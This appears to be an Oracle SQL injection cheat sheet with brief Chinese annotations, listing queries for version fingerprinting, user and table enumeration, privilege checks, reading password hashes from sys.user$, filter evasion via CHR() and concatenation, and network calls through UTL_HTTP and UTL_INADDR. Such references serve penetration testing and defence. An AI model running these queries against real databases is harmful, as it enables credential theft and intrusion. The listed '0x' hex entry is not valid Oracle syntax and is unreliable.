SYSTEM

SYSAUX

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

SELECT banner FROM v$version WHERE banner LIKE 'TNS%';

SELECT version FROM v$instance;

SELECT username FROM all_users;

支持所有版本

SELECT name, password from sys.user$;

高权限, <= 10g

SELECT name, spare4 from sys.user$;

高权限, <= 11g

SELECT name FROM v$database;

SELECT  instance_name FROM v$instance

SELECT  global_name FROM global_name

SELECT  SYS.DATABASE_NAME FROM DUAL

SELECT DISTINCT owner FROM  all_tables;

SELECT host_name FROM v$instance; (Privileged)

SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;

SELECT table_name FROM  all_tables;

SELECT RTRIM(XMLAGG(XMLELEMENT(e,  table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM  all_tables;

SELECT 0x09120911091 FROM dual;

Hex编码

SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;

CHR() 函数

SELECT 'a'||'d'||'mi'||'n' FROM  dual;

SELECT CASE WHEN 1=1 THEN 'true'  ELSE 'false' END FROM dual

SELECT privilege FROM  session_privs;

SELECT  grantee, granted_role FROM dba_role_privs; (Privileged)

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;

SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;